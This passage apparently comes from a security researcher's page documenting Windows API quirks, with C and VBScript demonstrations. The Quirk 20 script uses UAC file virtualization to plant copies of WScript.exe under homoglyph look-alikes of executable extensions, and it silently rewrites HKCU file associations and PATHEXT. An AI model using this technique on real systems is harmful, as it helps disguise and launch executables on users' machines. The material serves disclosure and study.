06/12/2016   6:55 AM           345,088 CONOUT$
               3 File(s)        690,176 bytes
               2 Dir(s)   9,876,543,210 bytes free

Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both
        1 file(s) copied.
Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both
        1 file(s) copied.
Step 9: cleanup
OOPS¹: while the builtin Copy fails to create files CONIN$ and CONOUT$, the builtins Rename alias Ren, Move and Mklink but succeed!

OUCH: although the files CONIN$ and CONOUT$ exist (and are copies of the command processor) the command processor fails to execute them!

OOPS²: if a file CONIN$ exists the builtin Copy command deletes it!

OOPS³: if a file CONOUT$ exists the builtin Copy command writes to the console screen buffer!

OOPS⁴: the builtin Md alias MkDir command creates directories CONIN$ and CONOUT$!

OOPS⁵: if a directory CONIN$ exists the builtin Copy command succeeds!

OOPS⁶: if a directory CONOUT$ exists the builtin Copy command succeeds!

Demonstration (Variant 2)

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk18.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_MEAN_AND_LEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    const	LPCWSTR	szSpecial[3] = {L"CONIN$", L"CONOUT$", L"CONERR$"};
    
    const	LPCWSTR	szFileType[4] = {L"FILE_TYPE_UNKNOWN",
    		                 L"FILE_TYPE_DISK",
    		                 L"FILE_TYPE_CHAR",
    		                 L"FILE_TYPE_PIPE"};
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwSpecial;
    	HANDLE	hSpecial;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    			PrintConsole(hConsole,
    			             L"GetFileAttributes() returned attributes 0x%08lX for \'%ls\'\n",
    			             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    		dwModule = GetModuleFileName((HMODULE) NULL,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule == 0)
    			PrintConsole(hConsole,
    			             L"GetModuleFileName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole, L"\n");
    
    			for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    				if (!CopyFile(szModule,
    				              szSpecial[dwSpecial],
    				              FALSE))
    					PrintConsole(hConsole,
    					             L"CopyFile() returned error %lu for file \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    					             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    					if (!DeleteFile(szSpecial[dwSpecial]))
    						PrintConsole(hConsole,
    						             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[dwSpecial]);
    				}
    
    			if (!CopyFile(szModule,
    			              szSpecial[2],
    			              FALSE))
    				PrintConsole(hConsole,
    				             L"CopyFile() returned error %lu for file \'%ls\'\n",
    				             dwError = GetLastError(), szSpecial[2]);
    			else
    				if (!MoveFile(szSpecial[2],
    				              szSpecial[1]))
    				{
    					PrintConsole(hConsole,
    					             L"MoveFile() returned error %lu for file \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[1]);
    
    					if (!DeleteFile(szSpecial[2]))
    						PrintConsole(hConsole,
    						             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[2]);
    				}
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    					             GetFileAttributes(szSpecial[1]), szSpecial[1]);
    
    					if (!MoveFile(szSpecial[1],
    					              szSpecial[0]))
    					{
    						PrintConsole(hConsole,
    						             L"MoveFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[0]);
    
    						if (!DeleteFile(szSpecial[1]))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szSpecial[1]);
    					}
    					else
    					{
    						PrintConsole(hConsole,
    						             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    						             GetFileAttributes(szSpecial[0]), szSpecial[0]);
    
    						if (!DeleteFile(szSpecial[0]))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szSpecial[0]);
    					}
    				}
    		}
    
    		PrintConsole(hConsole, L"\n");
    
    		for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    			if (!CreateDirectory(szSpecial[dwSpecial],
    			                     (LPSECURITY_ATTRIBUTES) NULL))
    				PrintConsole(hConsole,
    				             L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
    				             dwError = GetLastError(), szSpecial[dwSpecial]);
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetFileAttributes() returned attributes 0x%08lX for directory \'%ls\'\n",
    				             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    				hSpecial = CreateFile(szSpecial[dwSpecial],
    				                      GENERIC_READ | GENERIC_WRITE,
    				                      FILE_SHARE_READ | FILE_SHARE_WRITE,
    				                      (LPSECURITY_ATTRIBUTES) NULL,
    				                      OPEN_EXISTING,
    				                      FILE_FLAG_BACKUP_SEMANTICS,
    				                      (HANDLE) NULL);
    
    				if (hSpecial == INVALID_HANDLE_VALUE)
    					PrintConsole(hConsole,
    					             L"CreateFile() returned error %lu for directory \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetFileType() returned %ls for directory \'%ls\'\n",
    					             szFileType[GetFileType(hSpecial)], szSpecial[dwSpecial]);
    
    					if (!CloseHandle(hSpecial))
    						PrintConsole(hConsole,
    						             L"CloseHandle() returned error %lu\n",
    						             GetLastError());
    				}
    
    				if (!RemoveDirectory(szSpecial[dwSpecial]))
    					PrintConsole(hConsole,
    					             L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    			}
    
    		PrintConsole(hConsole, L"\n");
    
    		for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    		{
    			hSpecial = CreateFile(szSpecial[dwSpecial],
    			                      GENERIC_READ | GENERIC_WRITE,
    			                      FILE_SHARE_READ | FILE_SHARE_WRITE,
    			                      (LPSECURITY_ATTRIBUTES) NULL,
    			                      CREATE_NEW,
    			                      FILE_ATTRIBUTE_NORMAL,
    			                      (HANDLE) NULL);
    
    			if (hSpecial == INVALID_HANDLE_VALUE)
    				PrintConsole(hConsole,
    				             L"CreateFile() returned error %lu for file \'%ls\'\n",
    				             dwError = GetLastError(), szSpecial[dwSpecial]);
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    				             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    				PrintConsole(hConsole,
    				             L"GetFileType() returned %ls for file \'%ls\'\n",
    				             szFileType[GetFileType(hSpecial)], szSpecial[dwSpecial]);
    
    				if (!CloseHandle(hSpecial))
    					PrintConsole(hConsole,
    					             L"CloseHandle() returned error %lu\n",
    					             GetLastError());
    
    				if (!DeleteFile(szSpecial[dwSpecial]))
    					PrintConsole(hConsole,
    					             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    			}
    		}
    
    		if (dwModule != 0)
    		{
    			PrintConsole(hConsole, L"\n");
    
    			for (dwSpecial = 0; dwSpecial < sizeof(szSpecial) / sizeof(*szSpecial); dwSpecial++)
    				if (!CreateHardLink(szSpecial[dwSpecial],
    				                    szModule,
    				                    (LPSECURITY_ATTRIBUTES) NULL))
    					PrintConsole(hConsole,
    					             L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
    					             dwError = GetLastError(), szSpecial[dwSpecial]);
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetFileAttributes() returned attributes 0x%08lX for hardlink \'%ls\'\n",
    					             GetFileAttributes(szSpecial[dwSpecial]), szSpecial[dwSpecial]);
    
    					hSpecial = CreateFile(szSpecial[dwSpecial],
    					                      GENERIC_READ | GENERIC_WRITE,
    					                      FILE_SHARE_READ | FILE_SHARE_WRITE,
    					                      (LPSECURITY_ATTRIBUTES) NULL,
    					                      OPEN_EXISTING,
    					                      FILE_ATTRIBUTE_NORMAL,
    					                      (HANDLE) NULL);
    
    					if (hSpecial == INVALID_HANDLE_VALUE)
    						PrintConsole(hConsole,
    						             L"CreateFile() returned error %lu for hardlink \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[dwSpecial]);
    					else
    					{
    						PrintConsole(hConsole,
    						             L"GetFileType() returned %ls for hardlink \'%ls\'\n",
    						             szFileType[GetFileType(hSpecial)], szSpecial[dwSpecial]);
    
    						if (!CloseHandle(hSpecial))
    							PrintConsole(hConsole,
    							             L"CloseHandle() returned error %lu\n",
    							             GetLastError());
    					}
    
    					if (!DeleteFile(szSpecial[dwSpecial]))
    						PrintConsole(hConsole,
    						             L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
    						             dwError = GetLastError(), szSpecial[dwSpecial]);
    				}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk18.exe from the source file quirk18.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk18.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk18.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk18.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk18.exe
    quirk18.obj
  3. Start the console application quirk18.exe built in step 2. to demonstrate the (mis)behaviour:

    VER
    .\quirk18.exe
    DIR CON*$
    .\quirk18.exe
    ERASE CON*$
    Microsoft Windows [Version 6.1.7601]
    GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONIN$'
    GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONOUT$'
    GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONERR$'
    
    CopyFile() returned error 6 for file 'CONIN$'
    CopyFile() returned error 5 for file 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$'
    
    GetFileAttributes() returned attributes 0x00000010 for directory 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for directory 'CONIN$'
    GetFileAttributes() returned attributes 0x00000010 for directory 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for directory 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000010 for directory 'CONERR$'
    GetFileType() returned FILE_TYPE_DISK for directory 'CONERR$'
    
    GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$'
    DeleteFile() returned error 2 for file 'CONIN$'
    GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$'
    DeleteFile() returned error 2 for file 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$'
    GetFileType() returned FILE_TYPE_DISK for file 'CONERR$'
    
    GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONIN$'
    DeleteFile() returned error 5 for hardlink 'CONIN$'
    GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONOUT$'
    DeleteFile() returned error 5 for hardlink 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONERR$'
    CreateFile() returned error 32 for hardlink 'CONERR$'
    DeleteFile() returned error 5 for hardlink 'CONERR$'
    
     Volume in drive C has no label.
     Volume Serial Number is 109D-EA14
    
     Directory of C:\Users\Stefan\Desktop
    
    04/27/2020   8:15 PM             6,144 CONERR$
    04/27/2020   8:15 PM             6,144 CONIN$
    04/27/2020   8:15 PM             6,144 CONOUT$
                   3 File(s)         18,432 bytes
                   2 Dir(s)   9,876,543,210 bytes free
    
    GetFileAttributes() returned attributes 0x00000020 for 'CONIN$'
    GetFileAttributes() returned attributes 0x00000020 for 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for 'CONERR$'
    
    CopyFile() returned error 6 for file 'CONIN$'
    CopyFile() returned error 5 for file 'CONOUT$'
    CopyFile() returned error 32 for file 'CONERR$'
    
    CreateDirectory() returned error 183 for directory 'CONIN$'
    CreateDirectory() returned error 183 for directory 'CONOUT$'
    CreateDirectory() returned error 183 for directory 'CONERR$'
    
    GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$'
    DeleteFile() returned error 5 for file 'CONIN$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$'
    DeleteFile() returned error 5 for file 'CONOUT$'
    CreateFile() returned error 80 for file 'CONERR$'
    
    CreateHardLink() returned error 183 for hardlink 'CONIN$'
    CreateHardLink() returned error 183 for hardlink 'CONOUT$'
    CreateHardLink() returned error 183 for hardlink 'CONERR$'
    OUCH¹: GetFileAttributes() yields success for files and directories with the special names CONIN$ and CONOUT$!

    OUCH²: while CopyFile() fails properly with Win32 error code 6 alias ERROR_INVALID_HANDLE for CONIN$ and Win32 error code 5 alias ERROR_ACCESS_DENIED for CONOUT$, MoveFile() but succeeds!

    OUCH³: CreateDirectory() creates directories with the special names CONIN$ and CONOUT$, and RemoveDirectory() removes them!

    OUCH⁴: CreateHardLink() creates hardlinks files with the special names CONIN$ and CONOUT$, and DeleteFile() deletes them!

    OOPS: CreateFile() does not open an existing directory or file with the special name CONIN$ or CONOUT$, but opens the console input buffer or the console screen buffer instead!

Note: the evaluation of this (mis)behaviour with the Win32 functions CopyFile2(), CopyFileEx(), CopyFileTransacted(), CreateDirectoryEx(), CreateDirectoryTransacted(), CreateFile2(), CreateFileTransacted(), CreateHardLinkTransacted(), DeleteFileTransacted(), GetFileAttributesEx(), GetFileAttributesTransacted(), MoveFileEx(), MoveFileTransacted(), MoveFileWithProgress(), RemoveDirectoryTransacted() and ReplaceFile() is left as an exercise to the reader.

Quirk № 19

The documentation for the Win32 function SetCurrentDirectory() specifies:
BOOL SetCurrentDirectory(
  LPCTSTR lpPathName
);
lpPathName

The path to the new current directory. This parameter may specify a relative path or a full path. In either case, the full path of the specified directory is calculated and stored as the current directory.

[…]

The final character before the null character must be a backslash ('\'). If you do not specify the backslash, it will be added for you; therefore, specify MAX_PATH-2 characters for the path unless you include the trailing backslash, in which case, specify MAX_PATH-1 characters for the path.

[…]

Each process has a single current directory made up of two parts:

The documentation for the Win32 function GetCurrentDirectory() repeats the wrong remarks cite above:
Each process has a single current directory made up of two parts:

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk19.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_MEAN_AND_LEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    const	LPCWSTR	szDevices[3] = {L"\\\\.\\NUL", L"\\\\.\\PIPE", L"\\\\.\\PIPE\\"};
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szDirectory[MAX_PATH];
    	DWORD	dwDevices;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		for (dwDevices = 0; dwDevices < sizeof(szDevices) / sizeof(*szDevices); dwDevices++)
    			if (!SetCurrentDirectory(szDevices[dwDevices]))
    				PrintConsole(hConsole,
    				             L"SetCurrentDirectory() returned error %lu for \'%ls\'\n",
    				             dwError = GetLastError(), szDevices[dwDevices]);
    			else
    				if (!GetCurrentDirectory(sizeof(szDirectory) / sizeof(*szDirectory),
    				                         szDirectory))
    					PrintConsole(hConsole,
    					             L"GetCurrentDirectory() returned error %lu for \'%ls\'\n",
    					             dwError = GetLastError(), szDevices[dwDevices]);
    				else
    					PrintConsole(hConsole,
    					             L"GetCurrentDirectory() returned value \'%ls\' for \'%ls\'\n",
    					             szDirectory, szDevices[dwDevices]);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk19.exe from the source file quirk19.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk19.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk19.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk19.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk19.exe
    quirk19.obj
  3. Start the console application quirk19.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk19.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    GetCurrentDirectory() returned value '\\.\NUL' for '\\.\NUL\'
    SetCurrentDirectory() returned error 123 for '\\.\PIPE'
    GetCurrentDirectory() returned value '\\.\PIPE' for '\\.\PIPE\'
    
    0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123)
    Error message text: The filename, directory name, or volume label syntax is incorrect.
    CertUtil: -error command completed successfully.
    OUCH: contrary to the documentation cited above, the Win32 function SetCurrentDirectory() fails to append the trailing backslash for the argument \\.\PIPE and returns the Win32 error code 123 alias ERROR_INVALID_NAME instead!

    OOPS: contrary to the documentation cited above, the current directory can but be a device name, for example \\.\NUL\ or \\.\PIPE\!

Note: the examination that the Win32 functions CreateProcess*() fail to accept \\.\NUL\ or \\.\PIPE\ as current directory is left as an exercise to the reader.

Quirk № 20

The MSDN article New UAC Technologies for Windows Vista documents the File Virtualisation introduced as part of UAC as follows, but fails to mention limitations or restrictions:
Virtualization is only enabled for: […]

File virtualization addresses the situation where an application relies on the ability to store a file, such as a configuration file, in a system location typically writeable only by administrators. Running programs as a standard user in this situation might result in program failures due to insufficient levels of access.

When an application writes to a system location only writeable by administrators, Windows then writes all subsequent file operations to a user-specific path under the Virtual Store directory, which is located at %LOCALAPPDATA%\VirtualStore. Later, when the application reads back this file, the computer will provide the one in the Virtual Store. Because the Windows security infrastructure processes the virtualization without the application’s assistance, the application believes it was able to successfully read and write directly to Program Files. The transparency of file virtualization enables applications to perceive that they are writing and reading from the protected resource, when in fact they are accessing the virtualized version.

In part 1 of their book Windows Internals, Mark Russinovich, David Solomon and Alex Ionescu state:
The file system locations that are virtualized for legacy processes are %ProgramFiles%, %ProgramData%, and %SystemRoot%, excluding some specific subdirectories. However, any file with an executable extension – including .exe, .bat, .scr, .vbs, and others – is excluded from virtualization. This means that programs that update themselves from a standard user account fail instead of creating private versions of their executables that aren’t visible to an administrator running a global updater.
In his TechNet article Inside Windows Vista User Account Control, Mark Russinovich repeats these wrong statements!

Note: CreateProcess*() and LoadLibrary*(), the Win32 functions which load executables, don’t care for extensions; it’s only the content of the file (really: the NTFS File Stream) that matters to them!

Demonstration (Variant 1)

On Windows Vista and Windows 7, the Microsoft ® Console Based Script Host CScript.exe and the Microsoft ® Windows Based Script Host WScript.exe are shipped without (embedded) Application Manifest, their 32-bit executables are therefore subject to file and registry virtualisation.

Perform the following 4 (plus 3) simple steps to show that virtual files with extensions (not just) visually equal to dangerous ones can be created and executed.

  1. Create the text file quirk20.vbs with the following content in an arbitrary, preferable empty directory:

    Rem Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    With WScript.CreateObject("Scripting.FileSystemObject")
    	Const fsoWindowsFolder   = 0
    	Const fsoSystemFolder    = 1
    	Const fsoTemporaryFolder = 2
    
    	Const fsoRead   = 1
    	Const fsoWrite  = 2
    	Const fsoAppend = 8
    
    	Const fsoASCII   = 0
    	Const fsoUnicode = -1
    	Const fsoDefault = -2
    
    	' Greek homoglyphs
    '	Const A = &h391
    '	Const B = &h392
    '	Const E = &h395
    '	Const H = &h397
    '	Const I = &h399
    '			' j = &h3F3
    '	Const K = &h39A
    '	Const M = &h39C
    '	Const N = &h39D
    '	Const O = &h39F	' o = &h3BF
    '	Const P = &h3A1
    '	Const T = &h3A4
    '			' v = &h3BD
    '	Const X = &h3A7
    '	Const Y = &h3A5
    '	Const Z = &h396
    
    	' Cyrillic homoglyphs
    	Const A = &h410	' a = &h430
    	Const B = &h412
    	Const C = &h421	' c = &h441
    	Const E = &h415	' e = &h435
    	Const H = &h41D
    	Const I = &h406	' i = &h456
    	Const J = &h408	' j = &h458
    	Const M = &h41C
    	Const O = &h41E	' o = &h43E
    	Const P = &h420	' p = &h440
    	Const S = &h405	' s = &h455
    	Const T = &h422
    			' y = &h443
    	Const X = &h425	' x = &h445
    
    	strFolder = .GetSpecialFolder(fsoWindowsFolder).Path
    	WScript.CreateObject("Shell.Application").Explore strFolder
    
    	For Each strExtension In Array("EFI", "EML", "HTM", "ISO", "TTF", "WLL", "XLL", "XML")
    		.CopyFile WScript.ScriptFullName, .BuildPath(strFolder, "QUIRK20." & strExtension), vbTrue
    	Next
    
    	strUnicode = .BuildPath(strFolder, "QUIRK20.TXT")
    	.OpenTextFile(strUnicode, fsoWrite, vbTrue, fsoUnicode).WriteLine "Windows Registry Editor Version 5.00"
    
    	strPathExt = WScript.CreateObject("WScript.Shell").Environment("PROCESS").Item("PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").Environment("SYSTEM").Item("PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Environment\PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").Environment("USER").Item("PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Volatile Environment\PATHEXT")
    '	strPathExt = WScript.CreateObject("WScript.Shell").Environment("VOLATILE").Item("PATHEXT")
    
    	blnFlag = vbFalse
    	For Each strExtension In Array("ACM", ChrW(A) & ChrW(C) & ChrW(M), _
    	                               "ASA", ChrW(A) & ChrW(S) & ChrW(A), _
    	                               "ASP", ChrW(A) & ChrW(S) & ChrW(P), _
    	                               "AX",  ChrW(A) & ChrW(X), _
    	                               "BAT", ChrW(B) & ChrW(A) & ChrW(T), _
    	                               "CHM", ChrW(C) & ChrW(H) & ChrW(M), _
    	                               "COM", ChrW(C) & ChrW(O) & ChrW(M), _
    	                               "EXE", ChrW(E) & ChrW(X) & ChrW(E), _
    	                               "HTA", ChrW(H) & ChrW(T) & ChrW(A), _
    	                               "IME", ChrW(I) & ChrW(M) & ChrW(E), _
    	                               "ISP", ChrW(I) & ChrW(S) & ChrW(P), _
    	                               "ITS", ChrW(I) & ChrW(T) & ChrW(S), _
    	                               "JS",  ChrW(J) & ChrW(S), _
    	                               "JSE", ChrW(J) & ChrW(S) & ChrW(E), _
    	                               "MSC", ChrW(M) & ChrW(S) & ChrW(C), _
    	                               "MSI", ChrW(M) & ChrW(S) & ChrW(I), _
    	                               "MSP", ChrW(M) & ChrW(S) & ChrW(P), _
    	                               "MST", ChrW(M) & ChrW(S) & ChrW(T), _
    	                               "OCX", ChrW(O) & ChrW(C) & ChrW(X), _
    	                               "SCT", ChrW(S) & ChrW(C) & ChrW(T), _
    	                               "SHB", ChrW(S) & ChrW(H) & ChrW(B), _
    	                               "SHS", ChrW(S) & ChrW(H) & ChrW(S), _
    	                               "TSP", ChrW(T) & ChrW(S) & ChrW(P))
    		blnFlag = Not blnFlag
    		If blnFlag Then
    			On Error Resume Next
    			strAssoc = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CLASSES_ROOT\." & strExtension & "\")
    			If Err.Number <> 0 Then strAssoc = vbNullString
    			strMIME = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CLASSES_ROOT\." & strExtension & "\Content Type")
    			If Err.Number <> 0 Then strMIME = vbNullString
    			On Error Goto 0
    		Else
    			.CopyFile WScript.FullName, .BuildPath(strFolder, "QUIRK20." & strExtension), vbTrue
    
    		' BUG: .RegWrite converts UTF-16LE to ANSI and creates the subkeys ".??" and ".???"!
    		'	WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CURRENT_USER\Software\Classes\." & strExtension & "\", strAssoc, "REG_SZ"
    		'	WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CURRENT_USER\Software\Classes\." & strExtension & "\Content Type", strMIME, "REG_SZ"
    
    			With .OpenTextFile(strUnicode, fsoAppend, vbFalse, fsoUnicode)
    				.WriteLine
    				.WriteLine "[HKEY_CURRENT_USER\Software\Classes\." & strExtension & "]"
    				.WriteLine "@=""" & strAssoc & """"
    				.WriteLine """Content Type""=""" & strMIME & """"
    			End With
    
    			strPathExt = "." & strExtension & ";" & strPathExt
    		End If
    	Next
    
    	With .OpenTextFile(strUnicode, fsoAppend, vbFalse, fsoUnicode)
    		.WriteLine
    		.WriteLine "[HKEY_CURRENT_USER\Volatile Environment]"
    		.WriteLine """PATHEXT""=""" & strPathExt & """"
    	End With
    
    	With WScript.CreateObject("WScript.Shell")
    		.Environment("PROCESS").Item("__COMPAT_LAYER") = "RunAsInvoker"
    		.Run """%SystemRoot%\RegEdit.exe"" /S """ & strUnicode & """", 10, vbTrue
    		.Environment("VOLATILE").Item("PATHEXT") = strPathExt
    	End With
    End With
  2. Execute the VBScript quirk20.vbs created in step 1. with the 32-bit CScript.exe or the 32-bit WScript.exe:

    "%SystemRoot%\SysWoW64\CScript.exe" quirk20.vbs
    Note: on 32-bit editions of Windows Vista and Windows 7, the VBScript quirk20.vbs can be executed per double-click.

    OUCH: contrary to the statements cited above, executable files with the extensions .WLL, used by Microsoft Word for executable add-ins, and .XLL, used by Microsoft Excel for executable add-ins, can be created!

    The VBScript quirk20.vbs launches the Windows Explorer to open the Windows directory %SystemRoot%\.

  3. Click the button Compatibility Files shown on the Explorer Toolbar to view the virtualised files QUIRK20.* created in the Windows directory %SystemRoot%\.

